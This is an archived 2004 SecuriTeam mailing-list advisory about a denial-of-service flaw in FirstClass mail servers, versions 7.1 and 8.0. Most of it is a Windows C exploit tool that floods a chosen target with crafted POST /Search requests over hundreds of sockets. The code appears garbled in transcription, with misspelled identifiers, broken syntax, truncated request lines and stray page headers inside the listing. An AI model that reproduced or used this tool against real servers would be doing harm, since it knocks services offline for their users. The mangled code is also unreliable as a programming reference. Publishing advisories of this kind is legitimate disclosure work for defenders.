

# [EXPL] FirstClass HTTP Large Request Handling DoS

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0090.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 12/27/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 27 Dec 2004 10:15:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

FirstClass HTTP Large Request Handling DoS

---

## SUMMARY

Presented belows is an exploit code for <<http://www.firstclass.com/>>  
FirstClass's HTTP Large Request DoS.

## DETAILS

Vulnerable Systems:

\* FirstClass Version 7.1 and 8.0. (Prior versions may be also vulnerable)

The vulnerability is caused due to an error in the handling of large requests. This can e.g. be exploited to potentially cause a vulnerable server to stop responding or function correctly by sending a large amount of POST requests to "/Search" over multiple connections.

Exploit Code:

/\*

written by dilaurdimag

released on 9.12.04

compile with ms vc++

remember to link with winsock

## Securiteam: [EXPL] FirstClass HTTP Large Request Handling DoS

\*/

```
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#define IDD_MAIN 101
#define IDI_MAIN 103
#define IDC_SERV 1000
#define IDC SOCKS 1002
#define IDHALT 1004
```

```
// Next default values for new objects
```

```
//
```

```
#ifndef APSTUDIO_INVOKED
#ifdef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 104
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif //
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
```

```
#define WM_WSAASYNC (WM_USER +5)
```

```
BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
```

```
int startupClient(HWND hDlg);
```

```
void StopDoS();
```

```
void EnableDoSButton(HWND hDlg);
```

```
void DisableDoSButton(HWND hDlg);
```

```
struct hostent *host_entry;
```

```
struct sockaddr_in server;
```

```
WSAData wsaData;
```

```
char *request="POST /Search HTTP/1.1\nAccept: image/gif, image/x-xbitmap,
```

```
image/jpeg, image/pjpeg, application/x-shockwave-flash,
```

```
application/vnd.ms-excel, application/vnd.ms-powerpoint,
```

```
application/msword,
```

```
*/*\nAccept-Language: en-us\nContent-Type:
```

```
application/x-www-form-urlencoded\nAccept-Encoding: gzip,
```

```
deflate\nContent-Length: 291\nConnection: Keep-Alive\nCache-Control:
```

```
no-cache\n\nCharSet=ISO-8859-1&FieldID%3A1211.0%3DLONG=0&FieldID%3A1202%3DSTRING=&
```

```
FieldID%3A1208%3DCHECKBOX=on&FieldID%3A1206%3DCHECKBOX=on&FieldID%3A1204%3DCHECKB
```

```
FieldID%3A1207%3DCHECKBOX=on&FieldID%3A1205%3DCHECKBOX=on&FieldID%3A1209%3DCHECKB
```

```
FieldID%3A1212%3DCHECKBOX=on&Input%3A1211.0=+---\n\n";
```

```
char target[101];
```

```
__int64 timer;
```

```
int *mySocket, sockets=256, isDoS=0, sustain=0, count=0;
```

## Securiteam: [EXPL] FirstClass HTTP Large Request Handling DoS

```
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpCmdLine, int nCmdShow)
{
    DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL,
(DLGPROC)DlgProc, 0);
    return 0;
}

BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    switch(uMsg)
    {
        case WM_INITDIALOG:
            int error;
            if ((error = WSASStartup(MAKEWORD(2, 2), &wsaData)) == SOCKET_ERROR){
                MessageBox(hDlg, "Could not initialize winsock! Try looking for a winsock
                update.", "Fatal Error", MB_OK|MB_ICONSTOP); SendMessage(hDlg, WM_CLOSE,
                0, 0); }
            EnableDoSButton(hDlg);
            SetDlgItemText(hDlg, IDC_SERV, "");
            SetDlgItemInt(hDlg, IDC SOCKS, 256, 0);
            return(false);
        case WM_COMMAND:
            if(wParam==IDOK)
            {
                DisableDoSButton(hDlg);
                EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
                GetDlgItemText(hDlg, IDC_SERV, target, 100);
                sockets = GetDlgItemInt(hDlg, IDC SOCKS, 0, 0);
                if(sockets<2){
                    MessageBox(hDlg, "You need more sockets to cause a DoS!", "User
                    Error",
                    MB_OK|MB_ICONWARNING);
                    EnableDoSButton(hDlg);
                }else if(strlen(target)<1){
                    MessageBox(hDlg, "You need to specify a target!", "User Error",
                    MB_OK|MB_ICONWARNING);
                    EnableDoSButton(hDlg);
                }else if(!gethostbyname(target)){
                    MessageBox(hDlg, "Unable to resolve target!", "DNS Error",
                    MB_OK|MB_ICONWARNING);
                    EnableDoSButton(hDlg);
                }else
                {
                    DisableDoSButton(hDlg);
                    host_entry = gethostbyname(target);
                    server.sin_family = AF_INET;
                    server.sin_port = htons(80);
                    server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;
                    mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
                }
            }
    }
}
```

## Securiteam: [EXPL] FirstClass HTTP Large Request Handling DoS

```
if(mySocket==NULL){
    mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
    if(mySocket==NULL){
        SetFocus(hDlg);
        MessageBox(hDlg, "Too many sockets and not enough memory.", "Memory
allocation failed!", MB_OK|MB_ICONWARNING);
        EnableDoSButton(hDlg);
    }
}
else{
    memset(mySocket, 0, sizeof(mySocket));
    isDoS=1;
    PostMessage(hDlg, WM_WSAASYNC, 0, 0);
}
}
}
else if(wParam==IDHALT)
{
    sustain=0;
    count=0;
    isDoS=0;
    StopDoS();
    EnableDoSButton(hDlg);
    SetFocus(hDlg);
    StopDoS();
    MessageBox(hDlg, "All sockets have been shutdown!", "Information",
MB_OK|MB_ICONINFORMATION);
}
return(false);
case WM_CLOSE:
    WSACleanup();
    DestroyWindow(hDlg);
    return(true);
case WM_WSAASYNC:
    if(isDoS)
    {
        mySocket[count] = startupClient(hDlg);
        SetDlgItemInt(hDlg, IDC SOCKS, sockets-count, 0);
        if(count<sockets) count++;
        else{
            count=0;
            isDoS=0;
            sustain=1;
            EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
            SetFocus(hDlg);
            MessageBox(hDlg, "DoS in progress! Click OK to release sockets.",
"Information", MB_OK|MB_ICONINFORMATION);
            PostMessage(hDlg, WM_COMMAND, IDHALT, 0);
        }
    }
}
else if(sustain==1)
{
    if(GetTickCount(>)>timer)
    {
```

## Securiteam: [EXPL] FirstClass HTTP Large Request Handling DoS

```
int fcount;
for(fcount=0; fcount<sockets+1; fcount++) if(mySocket[fcount]==0)
break;
if(fcount==sockets && mySocket[fcount]!=0)
{
  MessageBox(hDlg, "all sockets where disconnected!", "DEBUG", MB_OK);
}else{
  mySocket[fcount] = startupClient(hDlg);
}
timer=GetTickCount()+1000;
}
}
if(WSAGETSELECTEVENT(IParam)==FD_CONNECT)
{
  send(wParam, request, strlen(request), 0);
}else if(WSAGETSELECTEVENT(IParam)==FD_CLOSE)
{
  if(isDoS)
  {
    int icount;
    for(icount=0; icount<sockets+1; icount++) if((unsigned
int)mySocket[icount]==wParam) break;
    closesocket(wParam);
    mySocket[icount] = startupClient(hDlg);
  }else if(sustain)
  {
    int icount;
    for(icount=0; icount<sockets+1; icount++) if((unsigned
int)mySocket[icount]==wParam) break;
    closesocket(wParam);
    mySocket[icount] = startupClient(hDlg);
  }
}
}
return(false);
}

int startupClient(HWND hDlg) {
int tmpSocket = socket(AF_INET, SOCK_STREAM, 0);
if (tmpSocket == SOCKET_ERROR) return 0;
WSAAsyncSelect(tmpSocket, hDlg, WM_WSAASYNC, FD_CONNECT|FD_CLOSE);
int error = connect(tmpSocket, (sockaddr*)&server, sizeof(server));
if(error) tmpSocket=0;
return tmpSocket;
}

void StopDoS()
{
int hcount;
for(hcount=0; hcount<sockets+1; hcount++) closesocket(mySocket[hcount]);
}
```

## Securiteam: [EXPL] FirstClass HTTP Large Request Handling DoS

```
void EnableDoSButton(HWND hDlg)
{
    EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
    EnableWindow(GetDlgItem(hDlg, IDC_SERV), 1);
    EnableWindow(GetDlgItem(hDlg, IDC SOCKS), 1);
    EnableWindow(GetDlgItem(hDlg, IDOK), 1);
}
```

```
void DisableDoSButton(HWND hDlg)
{
    EnableWindow(GetDlgItem(hDlg, IDOK), 0);
    EnableWindow(GetDlgItem(hDlg, IDC_SERV), 0);
    EnableWindow(GetDlgItem(hDlg, IDC SOCKS), 0);
    EnableWindow(GetDlgItem(hDlg, IDHALT), 1);
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:tambarus@hotmail.com>> Anand Khare.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.